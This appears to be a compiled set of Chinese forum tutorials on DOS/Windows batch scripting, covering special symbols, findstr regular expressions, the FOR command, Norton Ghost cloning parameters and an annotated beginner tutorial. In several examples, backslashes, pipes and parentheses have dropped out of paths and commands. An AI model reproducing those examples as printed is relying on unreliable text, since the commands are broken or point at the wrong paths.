echo 123456 ^> aaa 

echo 1231231 > bbb 

() 包含命令 

(echo aa & echo bb) 

, 和空格一样的缺省分隔符号. 

; 注释,表示后面为注释 

: 标号作用 

│ 管道操作 

; 符号当命令相同的时候可以将不同的目标用;隔离开来但执行效果不变。如执行过程中发生错误则只返回错误报告但程序还是会继续执行


首先, @ 不是一个命令, 而是DOS 批处理的一个特殊标记符, 仅用于屏蔽命令行回显. 下面是DOS命令行或批处理中可能会见到的一些特殊标记符:

CR(0D) 命令行结束符

Escape(1B) ANSI转义字符引导符

Space(20) 常用的参数界定符

Tab(09) ; = 不常用的参数界定符

+ COPY命令文件连接符

* ? 文件通配符

"" 字符串界定符

| 命令管道符

< > >> 文件重定向符

@ 命令行回显屏蔽符

/ 参数开关引导符

: 批处理标签引导符

% 批处理变量引导符



其次, :: 确实可以起到rem 的注释作用, 而且更简洁有效; 但有两点需要注意:

第一, 除了 :: 之外, 任何以 :开头的字符行, 在批处理中都被视作标号, 而直接忽略其后的所有内容, 只是为了与正常的标号相区别, 建议使用 goto 所无法识别的标号, 即在 :后紧跟一个非字母数字的一个特殊符号.

第二, 与rem 不同的是, ::后的字符行在执行时不会回显, 无论是否用echo on打开命令行回显状态, 因为命令解释器不认为他是一个有效的命令行, 就此点来看, rem 在某些场合下将比 :: 更为适用; 另外, rem 可以用于 config.sys 文件中.




也可以使用以下的用法:

if exist command

device 是指DOS系统中已加载的设备, 在win98下通常有:

AUX, PRN, CON, NUL

COM1, COM2, COM3, COM4

LPT1, LPT2, LPT3, LPT4

XMSXXXX0, EMMXXXX0

A: B: C: ...,

CLOCK$, CONFIG$, DblBuff$, IFS$HLP$

具体的内容会因硬软件环境的不同而略有差异, 使用这些设备名称时, 需要保证以下三点:

1. 该设备确实存在(由软件虚拟的设备除外)

2. 该设备驱动程序已加载(aux, prn等标准设备由系统缺省定义)

3. 该设备已准备好(主要是指a: b: ..., com1..., lpt1...等)

可通过命令 mem/d | find "device" /i 来检阅你的系统中所加载的设备

另外, 在DOS系统中, 设备也被认为是一种特殊的文件, 而文件也可以称作字符设备; 因为设备(device)与文件都是使用句柄(handle)来管理的, 句柄就是名字, 类似于文件名, 只不过句柄不是应用于磁盘管理, 而是应用于内存管理而已, 所谓设备加载也即指在内存中为其分配可引用的句柄.



  1、在使用 findstr "我 你 他" test.txt 的时候,并不能查找到内容,但是,加上开关 /i 或者 /r 之后就正确无误了,可能是在查找多个纯中文字符串的时候的一个bug吧;单个的纯中文字符串没有任何问题;


                                             —— namejm


9527整理



             FINDSTR正则表达式的基本用法


1.findstr . 2.txt 或 Findstr "." 2.txt  

从文件2.txt中查找任意字符,不包括空字符或空行

====================



2.findstr .* 2.txt 或 findstr ".*" 2.txt

从文件2.txt中查找任意字符包括空行和空字符

====================



3.findstr "[0-9]" 2.txt

从文件2.txt中查找包括数字0-9的字符串或行

====================



4.findstr "[a-zA-Z]" 2.txt

从文件2.txt中查找包括任意字符的字符串或行

====================



5.findstr "[abcezy]" 2.txt

从文件2.txt中查找包括a b c e z y字母的字符串或行

====================



6.findstr "[a-fl-z]" 2.txt

从文件2.txt中查找小写字符a-f l-z的字符串,但不包含g h I j k这几个字母。

====================



7.findstr "M[abc][hig]Y" 2.txt

从文件2.txt中可以匹配 MahY , MbiY, MahY等…..

====================



8. ^和$符号的应用

^ 表示行首,"^step"仅匹配 "step hello world"中的第一个单词

$ 表示行尾,"step$"仅匹配 "hello world step"中最后一个单词

====================



9.finstr "[^0-9]" 2.txt

如果是纯数字的字符串或者行便过滤掉,例如2323423423 这样的字符串,如果是345hh888这样的形式就不成了。

====================



10.findstr "[^a-z]" 2.txt

同上,如果是纯字母的字符串或者行便过滤掉,例如 sdlfjlkjlksjdklfjlskdf这样的字符,如果是sdfksjdkf99999这样的形式,掺杂着数字就不成了

====================



11.*号的作用

前面已经说过了 ".*"表示搜索的条件是任意字符,*号在正则表达式中的作用不是任何字符,而是表示左侧字符或者表达式的重复次数,*号表示重复的次数为零次或者多次。

====================



12.findstr "^[0-9]*$" 2.txt

这个是匹配找到的纯数字,例如 234234234234,如果是2133234kkjl234就被过滤掉了。

   Findstr "^[a-z]*$" 2.txt

这个是匹配找到的纯字母,例如 sdfsdfsdfsdf,如果是213sldjfkljsdlk就被过滤掉了

如果在搜索条件里没有*号,也就是说不重复左侧的搜索条件,也就是[0-9] [a-z]那只能匹配字符串的第一个字符也只有这一个字符,因为有行首和行尾的限制,"^[0-9]$"第一个字符如果是数字就匹配,如果不是就过滤掉,如果字符串是 9 就匹配,如果是98或者9j之类的就不可以了。

=====================



13. "<…>"这个表达式的作用

这个表示精确查找一个字符串,<sss 表示字的开始位置,sss>表示字的结束位置

echo hello world computer|findstr "<computer>"这样的形式

echo hello worldcomputer|findstr "<computer>" 这样的形式就不成了,他要找的是 "computer"这个字符串,所以不可以。

echo hello worldcomputer|findstr ".*computer>"这样就可以匹配了

=====================



  1、关于冒号:当某行内容以 : 打头时,用 for /f "tokens=1* delims=:" %%i in ('findstr /n .* test.txt') do echo.%%j 会把 : 过滤掉;


  2、关于分号:findstr .* test.txt 可以把以分号打头的行完整显示出来,但是,用在for语句中就不能找到了,必须加上参数/n才可以,似乎是for语句会把以分号打头的行当作注释内容忽略掉,好象不是findstr的错;而不放在for语句中的 type、more和findstr都是可以的;


  解决问题1和问题2的方案有:


稍微复杂一点的:


@echo off

:: 不会忽略空行

for /f "delims=" %%i in ('findstr /n .* test.txt') do (

    set "str=%%i"

    call set "str=%%str:*:=%%"

    call echo "%%str%%"

)

pause


最简洁的:


@echo off

:: 此代码会忽略空行

for /f "delims= eol=" %%i in (test.txt) do echo %%i

pause



  3、在for扩展中,%%~si 表示扩充的路径只含短文件名,但是在以下的测试过程中,却发现真正的情况并非如此:


  测试环境:

--------------------------------------------------------------------------------

D:abcdefg hijkabcd efgh.txt

D:abcdefg hijk e st.txt


  测试代码:

--------------------------------------------------------------------------------

@echo off

for /f "delims=" %%i in ('dir /a /b *.txt') do echo %%~si

pause


  测试结果:

--------------------------------------------------------------------------------

D:ABCDEF~1ABCDEF~1.TXT

D:ABCDEF~1TEST~1.TXTtxt


  看到测试结果的最后一条记录了吗?居然扩展到了 TEST~1.TXTtxt !


  总结了一下出错的情形,似乎是这样的:当路径中有超过一个的地方因为目录名超过11个字符而扩充到短文件名的时候,文件名+后缀名 少于11个字符且带空格的文件就会发生扩展错误。


                                                           —— namejm


出处:http://www.cn-dos.net/forum/viewthread.php?tid=19331


『楼 主』:  最强之dos命令 – for (是新手学习FOR语句的好资料)


  这篇文章是网上找的,很多初学DOS的朋友对FOR语句掌握的好不是太过熟悉,希望这边文章能够给你开阔思路帮助你把FOR语句学好,主要的参数介绍和实例讲的都很清楚,也希望对DOS越来越感兴趣--->发挥你的想像力吧


               正文开始


以前常觉得DOS的命令行功能太弱,无法象UNIX一样可以用命令行完成非常复杂的操作。实际上,当MS从WIN2K开始将命令行增强后,已经借鉴了相当多UNIX的优点,虽然还无法做到象UNIX那么灵活,但已可完成绝大多数的任务,比如用&&和  连接两个(或更多)命令,由前一个的返回值来决定下一个是否执行,等等。而在这些增强中,最明显的,就是FOR命令。 

举个例子,用适当的参数,可用FOR命令将 date /t 的输出 从 "Sat 07/13/2002" 变成你想要的格式,比如, "2002-07-13": 


c:>for /f "tokens=2,3,4 delims=/ " %a in ('date /t') do @echo %c-%a-%b 

2002-07-13 


该例将在(3)中详细说明。 

0. 基本应用 

简单说,FOR是个循环,可以用你指定的循环范围生成一系列命令。最简单的例子,就是人工指定循环范围,然后对每个值执行指定的命令。例如,想快速报告每个硬盘分区的剩余空间: 


for %a in (c: d: e: f do @dir %a   find "bytes free" 


将输出: 


8 Dir(s) 1,361,334,272 bytes free 

15 Dir(s) 8,505,581,568 bytes free 

12 Dir(s) 12,975,149,056 bytes free 

7 Dir(s) 11,658,854,400 bytes free 


用它可以使一些不支持通配符的命令对一系列文件进行操作。在WIN9X中,TYPE命令(显示文件内容)是不支持*.txt这种格式的(WIN2K开始TYPE已支持通配)。遇到类似情况就可以用FOR: 


for %a in (*.txt) do type %a 


这些还不是FOR最强大的功能。我认为它最强大的功能,表现在以下这些高级应用: 


1. 可以用 /r 参数遍历整个目录树 

2. 可以用 /f 参数将文本文件内容作为循环范围 

3. 可以用 /f 参数将某一命令执行结果作为循环范围 

4. 可以用 %~ 操作符将文件名分离成文件名、扩展名、盘符等独立部分 


现分别举例说明如下: 

1. 用 /r 遍历目录树 

当用 *.* 或 *.txt 等文件名通配符作为 for /r 的循环范围时,可以对当前目录下所有文件(包括子目录里面的文件)进行操作。举个例子,你想在当前目录的所有txt文件(包括子目录)内容中查找"bluebear"字样,但由于find本身不能遍历子目录,所以我们用for: 


for /r . %a in (*.txt) do @find "bluebear" %a 


find 前面的 @ 只是让输出结果不包括 find 命令本身。这是DOS很早就有的功能。和FOR无关。 

当用 . 作为循环范围时,for 只将子目录的结构(目录名)作为循环范围,而不包括里面的文件。有点象 TREE 命令,不过侧重点不同。TREE 的重点是用很漂亮易读的格式输出,而FOR的输出适合一些自动任务,例如,我们都知道用CVS管理的项目中,每个子目录下都会有一个CVS目录,有时在软件发行时我们想把这些CVS目录全部去掉: 


for /r . %a in (.) do @if exist %aCVS rd /s /q %aCVS 


先用 if exist 判断一下,是因为 for 只是机械的对每个目录进行列举,如果有些目录下面没有CVS也会被执行到。用 if exist 判断一下比较安全。 

这种删除命令威力太大,请小心使用。最好是在真正执行以上的删除命令前,将 rd /s /q 换成 @echo 先列出要删出的目录,确认无误后再换回rd /s /q: 


for /r . %a in (.) do @if exist %aCVS @echo %aCVS 


可能目录中会多出一层 ".",比如 c:proj elease.CVS ,但不会影响命令的执行效果。 

2. 将某一文件内容或命令执行结果作为循环范围: 

假如你有一个文件 todel.txt,里面是所有要删除的文件列表,现在你想将里面列出的每个文件都删掉。假设这个文件是每个文件名占一行,象这样: 


c: empa1.txt 

c: empa2.txt 

c: empsubdir3.txt 

c: empsubdir4.txt 


那么可以用FOR来完成: 


for /f %a in (todel.txt) do del %a 


这个命令还可以更强大。比如你的 todel.txt 并不是象上面例子那么干净,而是由DIR直接生成,有一些没用的信息,比如这样: 


Volume in drive D is DATA 

Volume Serial Number is C47C-9908 

Directory of D: mp 

09/26/2001 12:50 PM 18,426 alg0925.txt 

12/02/2001 04:29 AM 795 bsample.txt 

04/11/2002 04:18 AM 2,043 invitation.txt 

4 File(s) 25,651 bytes 

0 Dir(s) 4,060,700,672 bytes free 


for 仍然可以解出其中的文件名并进行操作: 


for /f "skip=5 tokens=5" %a in (todel.txt) do @if exist %a DEL %a 


当然,上面这个命令是在进行删除,如果你只是想看看哪些文件将被操作,把DEL换成echo: 


for /f "skip=5 tokens=5" %a in (todel.txt) do @if exist %a echo %a 


你将看到: 


alg0925.txt 

bsample.txt 

invitation.txt 


skip=5表示跳过前5行(就是DIR输出的头部信息),tokens=5表示将每行的第5列作为循环值放入%a,正好是文件名。在这里我加了一个文件存在判断,是因为最后一行的"free"刚好也是第5列,目前还想不出好的办法来滤掉最后两行,所以检查一下可保万无一失。 

3. 可以用 /f 参数将某一命令执行结果作为循环范围 

非常有用的功能。比如,我们想知道目前的环境变量有哪些名字(我们只要名字,不要值)。可是SET命令的输出是“名字=值”的格式,现在可以用FOR来只取得名字部分: 


FOR /F "delims==" %i IN ('set') DO @echo %i 


将看到: 


ALLUSERSPROFILE 

APPDATA 

CLASSPATH 

CommonProgramFiles 

COMPUTERNAME 

ComSpec 

dircmd 

HOMEDRIVE 

...... 


这里是将set命令执行的结果拿来作为循环范围。delims==表示用=作为分隔符,由于FOR /F默认是用每行第一个TOKEN,所以可以分离出变量名。如果是想仅列出值: 


FOR /F "delims== tokens=2" %i IN ('set') DO @echo %i 


tokens=2和前例相同,表示将第二列(由=作为分隔符)作为循环值。 

再来个更有用的例子: 

我们知道 date /t (/t表示不要询问用户输入)的输出是象这样的: 


Sat 07/13/2002 


现在我想分离出日期部分,也就是13: 


for /f "tokens=3 delims=/ " %a in ('date /t') do @echo %a 


实际上把 tokens后面换成1,2,3或4,你将分别得到Sat, 07, 13和2002。注意delims=/后面还有个空格,表示/和空格都是分隔符。由于这个空格delims必须是/f选项的最后一项。 

再灵活一点,象本文开头提到的,将日期用2002-07-13的格式输出: 


for /f "tokens=2,3,4 delims=/ " %a in ('date /t') do @echo %c-%a-%b 


当tokens后跟多个值时,将分别映射到%a, %b, %c等。实际上跟你指定的变量有关,如果你指定的是 %i, 它们就会用%i, %j, %k等。 

灵活应用这一点,几乎没有做不了的事。 

4. 可以用 %~ 操作符将文件名分离成文件名、扩展名、盘符等独立部分 

这个比较简单,就是说将循环变量的值自动分离成只要文件名,只要扩展名,或只要盘符等等。 

例:要将 c:mp3下所有mp3的歌名列出,如果用一般的 dir /b/s 或 for /r ,将会是这样: 


g:mp3Archived5-18-01-A游鸿明-下沙游鸿明-01 下沙.mp3 

g:mp3Archived5-18-01-A游鸿明-下沙游鸿明-02 21个人.mp3 

...... 

g:mp3Archived5-18-01-A王菲-寓言王菲-阿修罗.mp3 

g:mp3Archived5-18-01-A王菲-寓言王菲-彼岸花.mp3 

g:mp3Archived5-18-01-A王菲-寓言王菲-不爱我的我不爱.mp3 

...... 


如果我只要歌名(不要路径和".mp3"): 


游鸿明-01 下沙 

游鸿明-02 21个人 

...... 

王菲-阿修罗 

王菲-彼岸花 

王菲-不爱我的我不爱 

...... 


那么可以用FOR命令: 


for /r g:mp3 %a in (*.mp3) do @echo %~na 


凡是 %~ 开头的操作符,都是文件名的分离操作。具体请看 for /? 帮助。 

本文举的例子有些可能没有实际用处,或可用其它办法完成。仅用于体现FOR可以不借助其它工具,仅用DOS命令组合,就可完成相当灵活的任务



其实for /l %i in (1,1,99) do @echo %i 括号中间的分隔号有多种

形式如下:

for /l %i in (1,1,99) do @echo %i

for /l %i in (1 1 99) do @echo %i

for /l %i in (1;1;99) do @echo %i

for /l %i in (1=1=99) do @echo %i

for /l %i in (1<tab>1<tab>99) do @echo %i  <tab>----tab键


9527 于 2006-12-22 发表于中国DOS联盟


Norton Ghost批处理命令用法详细介绍 

 

作者:未知 文章来源:Internet

 

 


 .Ghost批处理文件的基本格式 

  Ghost-clone,mode={copy│load│dump},src={drive│file│drive:partition},dst={dri-ve│file│drive:partition}/fro/fx/rb/f32/Z(n)/sure{其他参数} 


  其主要参数的意思及用法如下: 


  -clone:clone在英文中是“克隆”的意思,在此处是一个固定的格式,意为强制按参数方式执行Ghost.exe。 


  mode=:此项参数用于设定Ghost.exe的使用模式,有六种模式可供选择:copy、pcopy、load、pload、dump、pdump。其中,copy、load、dump是指硬盘到硬盘的操作,加p以后(pcopy、pload、pdump)则以相同模式针对硬盘的分区进行操作。如“mode=copy”意思是将一个硬盘的数据克隆到另一个相同容量或更大容量的硬盘上,加P(mode=pcopy)以后的意思是将一个分区的数据克隆到另一个分区。“mode=load”的意思是提取镜像文件恢复至硬盘(或分区),“mode=dump”的意思是将硬盘(或分区)做成镜像文件。 


  src=:此项参数用于设定数据来源位置,用1、2、3……代表不同的来源,如“src=1:1”表示数据来源于主盘第一分区,“src=2:2”表示数据来源于从盘第二分区,“src=d:\ghost\sysbak.gh1”表示要提取的数据来源于主盘第二分区Ghost目录中的sysgbak.gho文件。 


  dst=:此项参数设定数据的目标位置,用法和src一样。如“dst=1:1”表示将提取数据还原到主盘第一分区,“dst=2:2”表示还原到从盘第二分区,“dst=d:\ghost\sysbak.gh1”则表示将备份的数据保存为主盘第二分区ghost目录中的sysgbak.gho文件。 


  /fro:该参数意为在克隆过程中跳过一切错误,建议大家避免使用。 


  /fx:程序执行完毕后自动退出,回到操作系统。这条参数在制作镜像文件和恢复非系统分区时可以使用,但用在恢复系统分区时使用可能会引起死机(恢复系统分区时请参考/rb)。 


  /rb:程序执行完毕后强制重新启动系统。 


  /f32:将FAT16格式转换为FAT32格式。 


  /Z(n):设定镜像文件的压缩率,只在制作镜像文件时使用。其中,n=1(/z1)表示在制作镜像文件时不压缩,n=2(/z2)为快速压缩,n=3~9时采用高比例压缩。在实际使用中,笔者推荐使用/z2(快速压缩),它的速度和/z1(不压缩)基本没有差别,镜像文件却小了许多。但如果你的硬盘容量不十分大,建议使用/z9。 


  /sure:对所有提示问题均自动回答“是”。在Ghost.exe图形界面操作中,程序会弹出一些对话框询问是否肯定执行该操作,通常有“Yes”和“Cancel”两个选项,/sure意为自动选择“Yes”,以确保克隆过程中不需手工干涉。 


  针对我的情况,我在D盘建立一个名为Ghost的目录,备份C区的镜像文件取名为sysbak.gho。两个批处理文件内容如下: 


  sysback.bat(备份):


  Ghost-clone,mode=pdump,src=1:1,dst=d:\ghost\sysbak.gh1 /fx/z9/sure 


  revert.bat(恢复):


  Ghost-clone,mode=pload,src=d:\ghost\sysbak.gh1,dst=1:1 /sure /rb  


 .GHOST参数详细示例(上面的你可以不看 但这里的一定要看,更要好好记录下来) 


  ghost.exe -clone,mode=copy,src=1,dst=2 -sure 

  硬盘对拷


  ghost.exe -clone,mode=pcopy,src=1:2,dst=2:1 -sure 

  将一号硬盘的第二个分区复制到二号硬盘的第一个分区 


  ghost.exe -clone,mode=pdump,src=1:2,dst=g:\bac.gho 

  将一号硬盘的第二个分区做成映像文件放到g分区中 


  ghost.exe -clone,mode=pload,src=g:\bac.gh2,dst=1:2 

  从内部存有两个分区的映像文件中,把第二个分区还原到硬盘的第二个分区 


   ghost.exe -clone,mode=pload,src=g:\bac.gho,dst=1:1 -fx -sure -rb 

  用g盘的bac.gho文件还原c盘。完成后不显示任何信息,直接启动。 


  ghost.exe -clone,mode=load,src=g:\bac.gho,dst=2,SZE1=60P,SZE2=40P 

  将映像文件还原到第二个硬盘,并将分区大小比例修改成60:40 


   还原磁盘


  首先做一个启动盘,包含Config.sys,Autoexec.bat,Command.com,Io.sys,Ghost.exe文件(可以用windows做启动盘的程序完成)。

  Autoexec.bat可以包含以下命令:

  Ghost.exe-clone,mode=pload,src=d:\bac.gho,dst=1:1-fx-sure-rb

  利用在d盘的文件自动还原,结束以后自动跳出ghost并且重新启动。

  开机自动做C区的备份,在D区生成备份文件bac.gho。

  ghost.exe-clone,mode=pdump,src=1:1,dst=d:\bac.gho-fx-sure-rb


  还原光盘


  包含文件:Config.sys,Autoexec.bat,Mscdex.exe(CDROM执行程序),Oakcdrom.sys(ATAPICDROM兼容驱动程序),Ghost.exe

  Config.sys内容为:

  DEVICE=OAKCDROM.SYS/D:IDECD001

  Autoexec.bat内容为:

  MSCDEX.EXE/D:IDECE001/L:Z

  Ghost-clone,mode=load,src=z:\bac.gho,dst=1:1-sure-rb


  可以根据下面的具体说明修改实例


  -clone在使用时必须加入参数,它同时也是所有的switch{batchswitch}里最实用的一种,下面是clone所定义的参数

  -clone,

  mode={copy│load│dump│pcopy│pload│pdump},

  src={drive│file│drive:partition},

  dst={drive│file│drive:partition}

  mode指定要使用哪种clone所提供的命令

  copy硬盘到硬盘的复制(disktodiskcopy)

  load文件还原到硬盘(filetodiskload)

  dump将硬盘做成映像文件(disktofiledump)

  pcopy分区到分区的复制(partitiontopartitioncopy)

  pload文件还原到分区(filetopartitionload)

  pdump分区备份成映像文件(partitiontofiledump)


  src指定了ghost运行时使用的源分区的位置模式及其意义


  ode命令对应mode命令src所使用参数例子

  COPY/DUMP

  源硬盘号。

  以1代表第一号硬盘 


  LOAD映像文件名

  g:\back98\setup98.gho或装置名称(drive) 


  PCOPY/PDUMP

  源分区号。

  1:2代表的是硬盘1的第二个分区 


  PLOAD分区映像文件名加上分区号或是驱动器名加上分区号。

  g:\back98\setup98.gh2,代表映像文件里的第二个分区 


  dst运行Ghost时使用的目标位置模式及其意义:

  mode命令对应mode命令dst所使用参数例子

  COPY/DUMP目的硬盘号。

  2代表第二号硬盘 


  LOAD硬盘映像文件名。

  例g:\back98\setup98.gho 


  PCOPY/PLOAD目的分区号。

  2:2代表的是,硬盘2的第二个分区 


  PDUMP分区映像文件名加分区号。

  g:\back98\setup98.gh2 


  SZEn指定所使用目的分区的大小

  n=xxxxM指定第n目的分区的大小为xxxxMBSZE2=800M表示分区2的大小为800MB

  n=mmP指定地n的目的分区的大小为整个硬盘的mm个百分比。

  其他参数

  -fxo当源物件出现坏块时,强迫复制继续进行

  -fx当ghost完成新系统的工作后不显示"pressctrl-alt-deltoreboot"直接回到DOS下 


  -ia完全执行扇区到扇区的复制。当由一个映像文件或由另一个硬盘为来源,复制一个分区时,Ghost将首先检查来源分区,再决定是要复制文件和目录结构还是要做映像复制(扇区到扇区)。预设是这种形式。但是有的时候,硬盘里特定的位置可能会放一些隐藏的与系统安全有关的文件。只有用扇区到扇区复制的方法才能正确复制

  -pwdand-pwd=x给映像文件加密 


  -rb在还原或复制完成以后,让系统重新启动 


  -sure可以和clone合用。Ghost不会显示"proceedwithdiskclone-destinationdrivewillbeoverwritten?"提示信息 


  充分的了解了以上的参数从今天起我们就不用在和GHOST的界面打交道了。

 

 

 

 

 

 


例如pushd c:就是记录下c:盘当你转去E:盘后用popd就可以转回c盘

手把手教你写批处理(willsort题注版)




    Climbing 兄可谓用心良苦,受其感昭,略紧微薄之力;原文内容一字未易,仅于每段之下另加题注,其文大多非为纠错,多是年来体会,或偶得,或渐悟,未免偏颇;又加近来俗事渐多,闲情愈少,心浮气燥,一蹴而就。义理悖逆,敬请斧正;措辞不当,尚请莫怪。

    另,建议Climbing兄取文不用拘泥于国内,此类技术文章,内外水平相差极大;与其修正国内只言片语,不如翻译国外优秀著述。




--------------------------------------------------------

标题:手把手教你写批处理-批处理的介绍

作者:佚名

编者:Climbing

出处:中国DOS联盟之联合DOS论坛

题注:willsort

日期:2004-09-21

--------------------------------------------------------

批处理的介绍



扩展名是bat(在nt/2000/xp/2003下也可以是cmd)的文件就是批处理文件。


==== willsort 编注 =====================================================

.bat是dos下的批处理文件

.cmd是nt内核命令行环境的另一种批处理文件

从更广义的角度来看,unix的shell脚本以及其它操作系统甚至应用程序中由外壳进行解释执行的文本,都具有与批处理文件十分相似的作用,而且同样是由专用解释器以行为单位解释执行,这种文本形式更通用的称谓是脚本语言。所以从某个程度分析,batch, unix shell, awk, basic, perl 等脚本语言都是一样的,只不过应用的范围和解释的平台各有不同而已。甚至有些应用程序仍然沿用批处理这一称呼,而其内容和扩展名与dos的批处理却又完全不同。

========================================================================


首先批处理文件是一个文本文件,这个文件的每一行都是一条DOS命令(大部分时候就好象我们在DOS提示符下执行的命令行一样),你可以使用DOS下的Edit或者Windows的记事本(notepad)等任何文本文件编辑工具创建和修改批处理文件。


====  willsort 题注 ====================================

批处理文件中完全可以使用非dos命令,甚至可以使用不具有可执行特性的普通数据性文件,这缘于windows系统这个新型解释平台的涉入,使得批处理的应用越来越“边缘化”。所以我们讨论的批处理应该限定在dos环境或者命令行环境中,否则很多观念和设定都需要做比较大的变动。

========================================================================


其次,批处理文件是一种简单的程序,可以通过条件语句(if)和流程控制语句(goto)来控制命令运行的流程,在批处理中也可以使用循环语句(for)来循环执行一条命令。当然,批处理文件的编程能力与C语言等编程语句比起来是十分有限的,也是十分不规范的。批处理的程序语句就是一条条的DOS命令(包括内部命令和外部命令),而批处理的能力主要取决于你所使用的命令。


==== willsort 编注 =====================================================

批处理文件(batch file)也可以称之为批处理程序(batch program),这一点与编译型语言有所不同,就c语言来说,扩展名为c或者cpp的文件可以称之为c语言文件或者c语言源代码,但只有编译连接后的exe文件才可以称之为c语言程序。因为批处理文件本身既具有文本的可读性,又具有程序的可执行性,这些称谓的界限是比较模糊的。

========================================================================


第三,每个编写好的批处理文件都相当于一个DOS的外部命令,你可以把它所在的目录放到你的DOS搜索路径(path)中来使得它可以在任意位置运行。一个良好的习惯是在硬盘上建立一个bat或者batch目录(例如C:BATCH),然后将所有你编写的批处理文件放到该目录中,这样只要在path中设置上c:atch,你就可以在任意位置运行所有你编写的批处理程序。


==== willsort 编注 =====================================================

纯以dos系统而言,可执行程序大约可以细分为五类,依照执行优先级由高到低排列分别是:DOSKEY宏命令(预先驻留内存),COMMAND.COM中的内部命令(根据内存的环境随时进驻内存),以com为扩展名的可执行程序(由command.com 直接载入内存),以exe位扩展名的可执行程序(由command.com 重定位后载入内存),以bat位扩展名的批处理程序(由command.com 解释分析,根据其内容按优先级顺序调用第2,3,4,5种可执行程序,分析一行,执行一行,文件本身不载入内存)

========================================================================


第四,在DOS和Win9x/Me系统下,C:盘根目录下的AUTOEXEC.BAT批处理文件是自动运行批处理文件,每次系统启动时会自动运行该文件,你可以将系统每次启动时都要运行的命令放入该文件中,例如设置搜索路径,调入鼠标驱动和磁盘缓存,设置系统环境变量等。下面是一个运行于Windows 98下的autoexec.bat的示例:

@ECHO OFF

PATH C:WINDOWS;C:WINDOWSCOMMAND;C:UCDOS;C:DOSTools;C:SYSTOOLS;C:WINTOOLS;C:BATCH

LH SMARTDRV.EXE /X

LH DOSKEY.COM /INSERT

LH CTMOUSE.EXE

SET TEMP=D:TEMP

SET TMP=D:TEMP


==== willsort 编注 =====================================================

AUTOEXEC.BAT为DOS系统的自动运行批处理文件,由COMMAND.COM启动时解释执行;

而在Win9x环境中,不仅增加支持了 DOSSTART.BAT, WINSTART.BAT 等许多其它自动运行的批处理文件,对AUTOEXEC.BAT 也增加了 .DOS .W40 .BAK .OLD .PWS 等许多变体以适应复杂的环境和多变的需求。

========================================================================


--------------------------------------------------------

标题:手把手教你写批处理-常用命令与特殊命令

作者:佚名

编者:Climbing

出处:中国DOS联盟之联合DOS论坛

题注:willsort

日期:2004年11月10日

--------------------------------------------------------


 [转帖并完善]手把手教你写批处理

原文作者写东西很没有专业精神,写的文章简直是错误百出,而且啰里八索,如果不加以修改和完善,简直是误人子弟,因此,我在原文的基础上进行了修改,修正了大部分错误(当然,不可避免可能会有新的错误,希望高手发现后能够及时指出来)。


URL: http://www.txwm.com/News/technic/200408/2004081609515074304.html


摘自:天下网吧联盟 作者:佚名

修改及完善:Climbing(xclimbing@msn.com)

最后修改日期:2004年8月19日



==== willsort 编注 =====================================================

    以下关于命令的分类, 有很多值得推敲的地方. 常用命令中的 @本不是命令,  , 而 dir copy等也很常用的命令却没有列入, 而特殊命令中所有命令对我来说都是常用命令. 建议将批处理所引用的命令分为内部命令, 外部命令, 第三方程序三类. 而内部命令和外部命令中中别有一类是专用于或常用于批处理中的命令可称之为 "批处理命令".

 

    以下摘录MS-DOS 6.22 帮助文档中关于 "批处理命令" 的文字, 当然, 其中有些概念和定义已经有些落后了.


                               批处理命令

 

    批处理文件或批处理程序是一个包含若干MS-DOS命令的正文文件,扩展名为.BAT。当在命令提示符下敲入批处理程序的名称时,MS-DOS成组执行此批处理程序中的命令。

 

    任何在命令提示符下可使用的命令都可用在批处理程序中。此外,下面MS-DOS命令是专门在批处理程序中使用的。

 

<Call>                    <If>

<Choice>                  <Pause>

<Echo>                    <Rem>

<For>                     <Shift>

<Goto>

========================================================================


常用命令


echo、@、call、pause、rem(小技巧:用::代替rem)是批处理文件最常用的几个命令,我们就从他们开始学起。 


==== willsort 编注 =====================================================

    首先, @ 不是一个命令, 而是DOS 批处理的一个特殊标记符, 仅用于屏蔽命令行回显. 下面是DOS命令行或批处理中可能会见到的一些特殊标记符:

    CR(0D) 命令行结束符

    Escape(1B) ANSI转义字符引导符

    Space(20) 常用的参数界定符

    Tab(09) ; = 不常用的参数界定符

    +           COPY命令文件连接符

    * ? 文件通配符

    "" 字符串界定符

    | 命令管道符

    < > >> 文件重定向符

    @ 命令行回显屏蔽符

    / 参数开关引导符

    : 批处理标签引导符

    % 批处理变量引导符


    其次,  :: 确实可以起到rem 的注释作用, 而且更简洁有效; 但有两点需要注意: 

    第一, 除了 :: 之外, 任何以 :开头的字符行, 在批处理中都被视作标号, 而直接忽略其后的所有内容, 只是为了与正常的标号相区别, 建议使用 goto 所无法识别的标号, 即在 :后紧跟一个非字母数字的一个特殊符号.

    第二, 与rem 不同的是, ::后的字符行在执行时不会回显, 无论是否用echo on打开命令行回显状态, 因为命令解释器不认为他是一个有效的命令行, 就此点来看, rem 在某些场合下将比 :: 更为适用; 另外, rem 可以用于 config.sys 文件中. 

========================================================================


echo 表示显示此命令后的字符 

echo off 表示在此语句后所有运行的命令都不显示命令行本身 

@与echo off相象,但它是加在每个命令行的最前面,表示运行时不显示这一行的命令行(只能影响当前行)。 

call 调用另一个批处理文件(如果不用call而直接调用别的批处理文件,那么执行完那个批处理文件后将无法返回当前文件并执行当前文件的后续命令)。 

pause 运行此句会暂停批处理的执行并在屏幕上显示Press any key to continue...的提示,等待用户按任意键后继续 

rem 表示此命令后的字符为解释行(注释),不执行,只是给自己今后参考用的(相当于程序中的注释)。 


==== willsort 编注 =====================================================

    此处的描述较为混乱, 不如直接引用个命令的命令行帮助更为条理


----------------------------------------------------------------------------

                                    ECHO


    当程序运行时,显示或隐藏批处理程序中的正文。也可用于允许或禁止命令的回显。

 

    在运行批处理程序时,MS-DOS一般在屏幕上显示(回显)批处理程序中的命令。

使用ECHO命令可关闭此功能。

 

语法

 

    ECHO [ON|OFF]

 

    若要用echo命令显示一条命令,可用下述语法:

 

    echo [message]

 

参数

 

ON|OFF

    指定是否允许命令的回显。若要显示当前的ECHO的设置,可使用不带参数的ECHO

命令。

 

message

    指定让MS-DOS在屏幕上显示的正文。


----------------------------------------------------------------------------

 

                                    CALL

 

    从一个批处理程序中调用另一个批处理程序,而不会引起第一个批处理的中止。

 

语法

 

    CALL [drive:][path]filename [batch-parameters]

 

参数

 

[drive:][path]filename

    指定要调用的批处理程序的名字及其存放处。文件名必须用.BAT作扩展名。

 

 

batch-parameters

    指定批处理程序所需的命令行信息。


----------------------------------------------------------------------------

 

                                   PAUSE

 

    暂停批处理程序的执行并显示一条消息,提示用户按任意键继续执行。只能在批处

理程序中使用该命令。

 

